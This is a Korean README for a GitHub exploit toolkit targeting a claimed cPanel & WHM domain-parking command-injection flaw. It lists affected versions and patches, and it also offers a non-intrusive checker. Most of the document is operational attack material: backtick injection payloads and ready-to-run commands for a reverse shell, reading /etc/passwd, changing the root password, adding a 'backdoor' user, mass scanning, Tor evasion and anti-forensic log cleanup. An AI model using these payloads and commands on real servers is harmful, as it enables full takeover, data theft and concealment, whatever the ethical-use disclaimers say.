
CVE‑2026‑65643 – cPanel 도메인 파킹 RCE 툴킷

** 윤리적 사용만 허용 – 승인된 보안 테스트**
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계 유사 법률에 따라 불법입니다.
취약점 개요
CVE‑2026‑65643은 cPanel & WHM 버전 11.x의 치명적인 명령 주입 취약점으로, 인증된 cPanel 사용자가 도메인 파킹 기능을 통해 root 권한으로 임의의 시스템 명령을 실행할 수 있게 합니다.
작동 방식
- 인증된 접근 필요 – 공격자는 대상 서버에 유효한 cPanel 계정(사용자 이름/비밀번호)을 보유해야 합니다.
- 도메인 파킹 주입 – 파킹된 도메인을 추가할 때 도메인 이름이 적절히 정제되지 않아, 공격자가 백틱(
`)을 사용하여 셸 명령을 주입할 수 있습니다.
- 명령 실행 – 주입된 명령은 cPanel 사용자의 권한으로 시스템에 의해 실행되며, 권한 상승 기법을 통해 root로 승격될 수 있습니다.
- root 권한 – 도메인 파킹 작업이 충분한 권한으로 실행되기 때문에, 임의의 명령이 높은 권한으로 실행될 수 있습니다.
- 영향 – 전체 서버 장악, 데이터 탈취, 백도어, 랜섬웨어, 측면 이동. 즉시 업그레이드하세요!
영향받는 버전
- cPanel & WHM 11.110.0.140 및 이전 – 취약
- 11.134.0.52 및 이전 – 취약
- 11.136.0.36 및 이전 – 취약
- 11.138.0.1 및 이전 – 취약
- 11.138.1.6 및 이후 – 패치됨
패치
- cPanel & WHM 11.138.1.6, 11.138.0.2, 11.136.0.37, 11.134.0.53, 또는 11.110.0.141 이상으로 업그레이드하세요.
- 업그레이드가 불가능한 경우, 임시 방편으로 cPanel 사용자의 도메인 파킹 권한을 비활성화하세요.
도구
| 도구 | 목적 | 대상 사용자 |
|---|
exploit.py | 리버스 셸, 웹셸, 지속성, 파일 읽기/쓰기, root 비밀번호 변경, 대량 스캔, Tor 지원, OPSEC 기능을 갖춘 완전한 무기화 툴킷. | 레드팀 / 승인된 침투 테스터 |
verifier.py | cPanel 버전을 감지하고, 주입을 검증하며, 악성 페이로드를 실행하지 않고 위험을 평가하는 비침투적 취약점 검사기. 상세 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
기능 비교
| 기능 | exploit.py | verifier.py |
|---|
| 취약점 탐지 | [+] | [+] |
| 버전 탐지 (4개 엔드포인트) | [+] | [+] |
| 명령 주입 | [+] | [-] |
| 리버스 셸 | [+] | [-] |
| WebShell 업로드 | [+] | [-] |
| 지속성 (cPanel 사용자 생성) | [+] | [-] |
| root 비밀번호 변경 | [+] | [-] |
| 파일 읽기/쓰기 | [+] | [-] |
| 4가지 주입 방법 (JSON/Form/CGI/API2) | [+] | [+] |
| Tor 지원 (익명성) | [+] | [-] |
| User‑Agent 로테이션 (OPSEC) | [+] | [-] |
| 지터 (OPSEC) | [+] | [-] |
| 대량 스캔 (멀티스레드) | [+] | [-] |
| 대화형 셸 | [+] | [-] |
| 비침투적 (안전) 모드 | [-] | [+] |
| 타임라인 로깅 | [+] | [+] |
| HTML 보고서 | [+] | [-] |
| JSON 보고서 | [+] | [+] |
| 로그 정리 (안티 포렌식) | [+] | [+] |
| 프록시 지원 | [+] | [+] |
| 사용자 정의 User‑Agent | [+] | [+] |
| SSL 검증 제어 | [+] | [+] |
사용 사례 요약
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – cPanel 설치가 취약한지 확인 | verifier.py |
| 보안 감사 – 비침투적 취약점 평가 | verifier.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | verifier.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py (탐지만) |
| 사고 대응 – 시스템이 침해되었는지 확인 | verifier.py |
설치
git clone https://github.com/tc4dy/CVE-2026-65643-PoC-Toolkit
cd CVE-2026-65643-PoC-Toolkit
pip install -r requirements.txt
requirements.txt
requests
urllib3
매개변수
exploit.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-l, --target-file | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나씩) |
-u, --username | cPanel 사용자 이름 |
-P, --password | cPanel 비밀번호 |
-p, --port | cPanel 포트 재정의 (기본값은 URL 또는 2083) |
--threads | 다중 대상용 스레드 수 (기본값: 10) |
-o, --output | JSON 보고서를 파일로 저장 |
--html-report | HTML 보고서를 파일로 저장 |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--tor | Tor를 통해 라우팅 (localhost:9050) |
-ua, --user-agent | 사용자 정의 User‑Agent |
--no-keep-alive | 세션을 활성 상태로 유지하지 않음 |
--delay | 요청 간 지연 (기본값: 2.0초) |
--jitter | 요청 간 무작위 지터 (0‑1초) (기본값: 0.5) |
--max-retries | 최대 재시도 횟수 (기본값: 5) |
--ssl-verify | SSL 인증서 검증 |
--timeout | 요청 타임아웃 (기본값: 15초) |
--cmd | 대상에서 단일 명령 실행 |
--reverse-shell | 리버스 셸 IP:PORT |
--passwd | root 비밀번호 변경 |
--adduser | cPanel 사용자 생성 (USER DOMAIN PASSWORD) |
--read | 파일 읽기 |
--write | 파일 쓰기 (경로 지정) |
--write-content | 쓸 내용 |
--cleanup | 익스플로잇 후 로그 및 기록 정리 |
-i, --interactive | 익스플로잇 후 대화형 셸 |
--domain-suffix | 파킹된 도메인의 접미사 (기본값: exploit.local) |
verifier.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-u, --username | cPanel 사용자 이름 |
-P, --password | cPanel 비밀번호 |
-o, --output | JSON 보고서를 파일로 저장 |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--tor | Tor를 통해 라우팅 (localhost:9050) |
--ssl-verify | SSL 인증서 검증 |
--timeout | 요청 타임아웃 (기본값: 15초) |
--cleanup | 테스트 후 로그 정리 |
시나리오
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass |
| 2 | 보고서를 포함한 상세 스캔 | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v |
| 3 | 리버스 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 명령 실행 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami" |
| 5 | 민감한 파일 읽기 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | root 비밀번호 변경 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 새 cPanel 사용자 생성 (지속성) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 익스플로잇 후 대화형 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 파일에서 대량 스캔 | python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json |
| 10 | 프록시, Tor, 사용자 정의 User‑Agent 사용 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0" |
| 11 | 익스플로잇 후 로그 정리 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup |
엔드포인트 및 주입 방법
익스플로잇은 다음 cPanel 엔드포인트와 주입 방법을 사용합니다:
| 방법 | 엔드포인트 | 설명 |
|---|
| JSON API | /cpsessXXXXX/json-api/domain | JSON 페이로드를 통한 기본 주입 방법 |
| Form Data | /cpsessXXXXX/json-api/domain | 폼 인코딩 데이터를 통한 대체 주입 |
| CGI Script | /cgi-sys/domainpark.cgi | 레거시 CGI 엔드포인트 주입 |
| API2 | /cpsessXXXXX/json-api/cpanel | 레거시 API2 주입 방법 |
페이로드 형식
# 주입 페이로드 형식
test.com`<command>`
# 예시
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`
책임 있는 사용
- 이 도구는 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 사용하세요.
- 무단 접근은 불법이며 비윤리적입니다.
- 저자는 어떠한 오용에 대해서도 책임지지 않습니다.
- 항상 해당 국가의 법률과 규정을 준수하세요.
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.